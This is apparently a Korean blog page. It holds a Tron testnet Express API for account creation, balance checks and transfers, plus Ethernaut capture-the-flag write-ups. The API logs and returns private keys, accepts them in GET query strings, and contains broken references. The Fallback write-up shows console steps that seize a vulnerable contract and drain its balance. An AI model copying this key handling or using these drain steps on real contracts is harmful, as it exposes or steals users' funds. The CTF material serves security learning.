요청시 계속  Pk와 wallet address를 토하는걸 제작중이다.

계좌 던졌을때 balance와 bandwidth를 조회하는것도 같이 한다.

대역폭은 수수료다 하루에 10번까지 예전에 보낸 기록이 있던 계좌면 무료다

 

 

index.js

var express = require('express');
var router = express.Router();
const TronWeb = require('tronweb');
const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io/';
var privateKey = '123';
const tronWeb = new TronWeb(
fullNode,
solidityNode,
eventServer,
privateKey
  );
tronWeb.setDefaultBlock('latest');
const nodes = tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([ name, connected]) => {
 if (!connected)
           console.error(`Error: $ {name}is not connected`);
 return connected;
}).includes(false);
if (!connected)
      res.json( {'result':'connect fail'})
router.get('/createAccount/',function(req,res,next) {
 const account = tronWeb.createAccount();
 account.then(function (account) { const isValid = tronWeb.isAddress(account.address['hex']);
  console.log('- Private Key:', account.privateKey);
  console.log('- Base58:', account.address.base58);
  console.log('- Valid: ', isValid, '\n');
  account.isValid = isValid;
  res.json( {'result':account.privateKey, '- Base58': account.address.base58});
 });
});
router.get('/getBalance/:Address',function(req,res,next) {
 const app = async () => {
  try {
   const Add = req.params.Address;
   const gBalance = await tronWeb.trx.getBalance(Add);
   const gBandwidth = await tronWeb.trx.getBandwidth(Add);
   console.log("getBalance : ", gBalance);
   console.log("getBandwidth : ", gBandwidth);
   console.log("   ", Add);
   res.json( { "getBalance  ": gBalance, "getBandwidth": gBandwidth, "123": Add})
  }catch (error) { console.log('Task Failure',error);
  }
 };
 app();
});

router.get('/sendToken',function(req,res,next) {
        const app = async () => {
                try {
                        const gPK = req.query.PK;
                        privateKey = gPK;
                        const gvalue = req.query.value;
                        const gtoAddress = req.query.toAddress;

                        console.log("gPK : ", gPK);
                        console.log("gvalue : ", gvalue);
                        console.log("gtoAddress : ", gtoAddress);
                       sendTransaction = await tronWeb.transactionBuilder.sendToken(gtoAddress, gvalue, "1002003", gsendAddress);

                        const signedTransaction = await tronWeb.trx.sign(sendTransaction);
                        const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction);
                        console.log('- Transaction:\n' + JSON.stringify(sendRaw, null, 2), '\n');

                        res.json( { "gPK  ": gPK, "gvalue  ": gvalue, "gtoAddress": gtoAddress, "Transaction\n": JSON.stringify(sendRaw, null, 2)});

                }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});


module.exports = router;

 

 

실행 화면

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 610.476 ms - -
- Private Key: AE3F46DE20C1EAF287DDA3CDE20A653031C67517FA87AA4641B271D314821F68
- Base58: TSqkCrLPJVxyuapdY5tjptBKFdR1bVEr5x
- Valid:  true

GET /createAccount/ 200 57.919 ms - 125
- Private Key: F64E51F20F91C6407B9B67A7D98BEA5D81F5F995D652E0AF2C663C4F76ED52B0
- Base58: THYQkYZ7nxWZ9YvMuaSDBYGKcXweTErbMb
- Valid:  true

GET /createAccount/ 200 41.523 ms - 125
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 560.224 ms - -
getBalance :  2000000
getBandwidth :  5000
    TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
GET /getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 304 604.726 ms - -

 

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
gPK :  @@@@@@@
gvalue :  1000000
gtoAddress :  TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
- Transaction:
{
  "result": true,
  "transaction": {
    "txID": "651d95843f1a4e62c669550425a1844d800f7670b2071e7

2d10418ec724c4cad",
    "raw_data": {
      "contract": [
        {
          "parameter": {
            "value": {
              "amount": 1000000,
              "owner_address": "4179196b90d1e952c5a43d4847caa

08d50b967c34a",
              "to_address": "41b0720a94d13ef83434e1385b543c9

291c79a6d14"
            },
            "type_url": "type.googleapis.com/protocol.TransferContract"
          },
          "type": "TransferContract"
        }
      ],
      "ref_block_bytes": "49c0",
      "ref_block_hash": "5fff2fda293153a4",
      "expiration": 1547082969000,
      "timestamp": 1547082910093
    },
    "signature": [
      "1af3e48aa97d19a9465e2d56ac3b4541dd33abcbaea0c3dadab3a760c6b

2672c033692fe4454b6f2201d2d8bc4d39c806d84a5a4bfafa95a2e4

075a0aba376b700"
    ]
  }
}

GET /sendToken?PK=03f567e0189e1341a5c8d32817acf7dafcfbb3e2860599d2d4f322ff7b3

247ed&value=1000000&toAddress=TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 200 742.649 ms - 1118
GET /favicon.ico 404 366.336 ms - 1012

 

 

계좌생성

http://192.168.0.118:3000/createAccount/

 

 

GET트랜젝션에서 지갑주소를 바꿔서 조회해도 잘 동작함

http://192.168.0.118:3000/getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih

 

차후  https로 하고 POST로 변경할것이다.

 

send trx 트론 송금

송금은 이전에 작성한 부분이 있어서 쉽게 개발이 가능했다.

 

tron-web 분해하기2(transactionBuilder.sendTrx)

http://iesay.tistory.com/104

보내는 from주소는 개인키에서 추출이 가능하기 때문에 인자를

구지 넣지 않아도 된다.

 

 

http://192.168.0.118:3000/sendToken?PK=개인키&value=1000000&toAddress

=받는사람 주소

 

 

이상으로 nodejs express를 활용한

 

계좌생성, 잔액(대역폭)조회, 송금 API를 제작해 보았다.

 

 

블록체인으로 암호화폐 구현하면서 가장 큰 부분이 이론을 알고 생각을 하면서

코딩을 해야 된다. 이게 좀 많은 초심자들의 장벽이 아닐까 한다.

 

비동기 방식에 대한 이해를 많이 하게 되었다

왜 콜백지옥에 빠지는지 콜백 환경에서 왜 디버깅 하기가 힘든지

실력이 없어서 한 일주일 정도 걸린거 같다.

 

이제 트랜젝션 조회 제작해보자.

 

 

 

 

 

 

 

 

 

'트론' 카테고리의 다른 글

tron Token Balance (trc10)  (0) 2019.01.29
TronScan(제작 완료)  (0) 2019.01.10
tron-web 분해하기5(createToken)  (0) 2018.12.20
tron-web 분해하기4(getTransactionstoAddress)  (0) 2018.12.19
tron-web 분해하기3(getTransactionsFromAddress)  (0) 2018.12.18
블로그 이미지

iesay

,

레벨 1. Fallback

https://ethernaut.zeppelin.solutions/level/0x234094aac85628444a82dae0396c680974260be7

 

 

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

  Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units -see help() command-
  • Fallback methods

 

자 다음 문제다.

 

계약의 소유권을 뺏고  Root권한을 뺏는것과 비슷하다.

 

해커들은 먼가를 뺏어야된다?!

 

그리고 잔액을 0을 만들라고 한다.

 

Untitled.sol

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

 

 

 

Ownable.sol

pragma solidity ^0.4.18;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

 

 

 

 

pragma solidity ^0.4.18버전이다 그러면

select에서  0.4.18의 최신버전을 맞추어 주고

 

Auto complie 옵션을 체크하는게 좋다.

버전 안맞아서 에러 뜨는 경우가 흔하다.

 

import에서 Ownable.sol파일과 함께 컴파일 된다.

 

 

 

 

 

 

 

문제 소스를 보면 contribute()를 실행하는데 이더를 0.001 ether보다

작게 보내면  오너 권한을 잠시 빌리게 된다.

 

 

그리고 withdraw()를 실행하면

owner.transfer(this.balance);

 

잔액을 가지고 오는 형태다.

플레이어주소 = 메타마스크 주소다.

 

메타마스크가 자바스크립트로 되어 있어서

호환된다.

 

이문제는 솔리디티 컴파일 안해도 풀수 있는 문제이긴 하다.

 

 

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f

 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

 

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

 

계좌가 0원된거 확인

await getBalance(instance)
"0"

 

 


 

 

처음은 두 주소가 다르지만

권한을 획득하면 두 주소가 같게 되면서 다음문제를 풀수 있다.

 

 

메타마스크를 통해 인스턴스 주소를 보내면 

owner와 player의 계좌가 동일 한걸 알수 있다.

 

 

 

 

 

스마트컨트렉 취약점은 졸라 무서운게 PK가 없더라도 돈을 빼올수 있다.

 

일반 집이든 근로든 계약서 잘 신경쓰라고 하는것도

 

같은거다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 0. Hello Ethernaut  (0) 2018.12.28
블로그 이미지

iesay

,

요즘 해킹 대회에서도 스마트컨트렉 보안관련 문제가 가끔 나온다.

스마트컨트렉은  온라인 계약이니 이더리움의 솔리디티관련 CTF 도장깨기를

시작해 볼까 한다.

 

생각보다 문제 많이 까다롭다.

천천히 올클을 목표로!!

 

레벨 0. Hello Ethernaut

https://ethernaut.zeppelin.solutions/level/0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c

 

This level walks you through the very basics of how to play the game.

블록체인은 remote exploit 처럼 특정 contract에 계속 먼가를 던저야 되니

중간에 gdb처럼 디버깅되는 과정을 보기 힘들다.

그래서 다른 wargame과 다르게 조금 풀기가 까다로울수도 있다.

그리고 또 개념을 잘 잡아야 된다. Dapp을 만들던 메인넷을 하던 컨트렉을 짜던

개념이 아주 중요하다.

UTXO를 모르고 BTC지갑을 만들수 있을가?

이론적인 부분도 아주 중요한 부분이 된다.

1. Set up MetaMask
2. Open the browser's console
3. Use the console helpers
4. The ethernaut contract
5. Interact with the ABI
6. Get test ether
7. Getting a level instance
8. Inspecting the contract
9. Interact with the contract to complete the level 

설명은 차근 차근 읽어 보도록 한다.

0단계는 쉽다.

  

메타마스크 연동해서  롭스톤 테스트넷 연동하고 그런건 알아서 타 블로그를

참고 하길 바란다.

 

Get New instance를 하면 메타마스크에서 컨트렉을 하나 보낼수 있다.

크롬 개발자 도구 F12눌러서 Console에서 진행하면 된다.

 

블록체인은 동기 비동기라서 await와 sync를 잘 활용해야된다

자바스크립트 특징상 한꺼번에 처리 할려구 하니 모든 구문은

서버랑 통신하는 모든 구문은 거의 await를 쓴다고 보면된다.

 소스 코드는 원본 홈페이지를 참고하고 write up만 나열한다.

await contract.info()
"You will find what you need in info1()."


await contract.info1()
"Try info2(), but with "hello" as a parameter."


await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
t {s: 1, e: 1, c: Array(1)}c: [42]e: 1s: 1__proto__: Object


await contract.info42()
"theMethodName is the name of the next method."


await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()

ethernaut0


await contract.authenticate('ethernaut0')
{tx: "0x9f6c29c29b5397f6df441d4eddb6ae82b89818e57f40635f37eec6ac9153205d", receipt: {…}, logs: Array(0)} 

 

 

Submit instance를 누러 메타마스크를 실행하면

Pendding이 완료되면

다음 단계로 넘어 간다.

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 1. Fallback  (0) 2018.12.28
블로그 이미지

iesay

,